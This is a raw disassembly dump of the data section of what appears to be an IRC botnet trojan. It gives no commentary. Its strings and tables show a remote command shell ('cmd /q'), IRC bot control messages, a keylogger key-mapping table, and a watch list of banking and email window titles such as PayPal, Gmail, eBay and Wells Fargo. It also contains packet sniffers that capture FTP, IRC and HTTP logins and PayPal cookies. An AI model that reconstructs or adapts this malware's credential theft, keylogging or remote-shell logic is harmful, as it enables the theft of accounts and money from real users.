asc_434C78:				; DATA XREF: sub_4100B4+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_4100B4+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_41036B+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_41036B+61Co
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41036B+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410893o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41036B+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_41036B+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+328o
					; sub_41036B+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o
		align 4
aS		db '<%s>',0             ; DATA XREF: sub_41036B+2E9o
					; sub_41036B+40Bo
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_41036B+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_41036B+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_41036B+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_41036B+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_435120	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:00410D6Eo
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410D13o
dword_435164	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:00410CB8o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start client thread, error: <%d>.',0
unk_4351CC	db  2Dh	; -		; DATA XREF: ___:00410E94o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_435214	db  2Dh	; -		; DATA XREF: ___:004110E6o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_36	db 'Failed to start connection thread, error: <%d>.',0
unk_435254	db  2Dh	; -		; DATA XREF: ___:0041101Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_435298	db  2Dh	; -		; DATA XREF: ___:004113A9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4352C4	db  2Dh	; -		; DATA XREF: ___:00411382o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 10h
unk_4352F0	db  2Dh	; -		; DATA XREF: ___:00411362o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00411332o
		align 4
unk_43532C	db  2Dh	; -		; DATA XREF: ___:004112A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_435358	db  2Dh	; -		; DATA XREF: sub_4113C5:loc_41140Ao
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_435384	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_41141F+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_435520	db  2Dh	; -		; DATA XREF: sub_4116D6+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_435554	db  2Dh	; -		; DATA XREF: sub_4116D6+59o
					; sub_4116D6+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_43559C	db  2Dh	; -		; DATA XREF: sub_411827+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_4355C4	db  2Dh	; -		; DATA XREF: sub_411827+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_435604	db  2Dh	; -		; DATA XREF: sub_411827+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_435644	db  2Dh	; -		; DATA XREF: sub_411920+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_411920+8Co
		align 4
dword_435684	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_4119F9+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h
aFailedToSta_37	db '- Failed to start client thread, error: <%d>.',0
		align 10h
		dd 234032Dh, 6B636F73h,	3023473h
aClientConnec_2	db '- Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aErrorFailedToC	db '- Error: Failed to connect to target, returned: <%d>.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aErrorFailedToO	db '- Error: Failed to open socket(), returned: <%d>.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aAuthentication	db '- Authentication failed. Remote userid: %s != %s.',0
		align 4
		dd 4000500h, 7868746Bh,	2 dup(0)
dword_435848	dd 6F672D65h, 646Ch, 1Eh dup(0)	; DATA XREF: ___:0041260Fo
		dd 6E676953h, 6E4920h, 1Eh dup(0)
aHotmail	db 'Hotmail',0
		dd 1Eh dup(0)
aWindowsLiveMes	db 'Windows Live Messenger',0
		align 10h
		dd 1Ah dup(0)
aPaypal_1	db 'PayPal',0
		align 10h
		dd 1Eh dup(0)
aStormpay	db 'StormPay',0
		align 4
		dd 1Dh dup(0)
aStormpay_comAc	db 'StormPay.com, Accept Online Payments',0
		align 10h
		dd 16h dup(0)
aWorldpay	db 'WorldPay',0
		align 4
		dd 1Dh dup(0)
		dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0)
		dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0)
aTerraFotolog	db 'Terra - Fotolog',0
		dd 1Ch dup(0)
		dd 6F686159h, 216Fh, 1Eh dup(0)
		dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0)
aBienvenidoAGma	db 'Bienvenido a Gmail',0
		align 4
		dd 1Bh dup(0)
aWelcomeToGmail	db 'Welcome to Gmail',0
		align 4
		dd 1Bh dup(0)
aDomainNameRegi	db 'Domain Name Registration',0
		align 4
		dd 19h dup(0)
		dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0)
aMyAccountLogin	db 'My Account Login',0
		align 4
		dd 1Bh dup(0)
aMercadolivreBr	db 'MercadoLivre Brasil',0
		dd 1Bh dup(0)
aWellsFargoHome	db 'Wells Fargo Home Page',0
		align 10h
		dd 1Ah dup(0)
aRyan1918DontNe	db 'Ryan1918 Dont NET :: Log in',0
		dd 19h dup(0)
aEbay		db 'eBay',0
		align 10h
		dd 1Eh dup(0)
aEbayNewUsedEle	db 'eBay - New & used electronics, cars, apparel, collectibles, sport'
		db 'ing goods & more at low prices',0
		dd 8 dup(0)
		db  49h	; I
		db 6Eh,	69h, 63h
		db  69h	; i
		db 61h,	72h, 20h
		db  73h	; s
		db 65h,	73h, 69h
		db 0F3h	; ó
aNebayNewUsedEl	db 'neBay - New & used electronics, cars, apparel, collectibles, spor'
		db 'ting goods & more at low prices',0
		align 4
		dd 4 dup(0)
dword_436448	dd 8, 62h, 62000000h, 2	dup(0) ; DATA XREF: ___:00412661o
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 41000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_436BB4	dd 28207325h, 297325h, 252EBB2Eh, 2EAB2E73h, 65522820h
					; DATA XREF: ___:0041262Do
					; sub_41AF8F+EBo
		dd 6E727574h, 25282029h, 2973h,	252EBB2Eh, 2EAB2E73h, 65522820h
		dd 6E727574h, 29h, 252EBB2Eh, 2EAB2E73h, 75422820h, 72656666h
		dd 6C756620h, 2820296Ch, 297325h, 252EBB2Eh, 2EAB2E73h
		dd 75422820h, 72656666h, 6C756620h, 296Ch, 252EBB2Eh, 2EAB2E73h
		dd 68432820h, 65676E61h, 69572064h, 776F646Eh, 25203A73h
		dd 2973h, 252EBB2Eh, 2EAB2E73h,	0
		dd offset off_4374C0
		dd offset off_4374BC
		dd offset off_4374B8
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:00436C54o
		align 4
off_4374B8	dd offset word_505446	; DATA XREF: ___:00436C50o
off_4374BC	dd offset aFailedToSta_36+25h ;	DATA XREF: ___:00436C4Co
off_4374C0	dd offset word_544F42	; DATA XREF: ___:00436C48o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
aHashin		db ':!hashin',0         ; DATA XREF: sub_412EEC+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412EEC+EEo
		align 10h
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412EEC+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412EEC+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412EEC+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_412EEC+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_412EEC+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412EEC+84o
a366		db '366 ',0             ; DATA XREF: sub_412EEC+73o
		align 4
a302_0		db '302 ',0             ; DATA XREF: sub_412EEC:loc_412F4Eo
		align 10h
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412EEC+4Do
		align 4
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412EEC+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412EEC+2Bo
		align 10h
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412EEC+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o
aOper		db 'oper ',0            ; DATA XREF: sub_413003+51o
		align 10h
aNick_1		db 'NICK ',0            ; DATA XREF: sub_413003:loc_413043o
					; sub_413079+2Bo
		align 4
aOper_0		db 'OPER ',0            ; DATA XREF: sub_413003+2Bo
		align 10h
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_413003+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_413079+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_413079+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_413079:loc_4130CAo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_413079+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_413079+5o
		align 4
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_413100+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_413100+62o
		align 10h
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_413100+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_413100:loc_413140o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_413100+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_413100+5o
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_413187+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o
		align 4
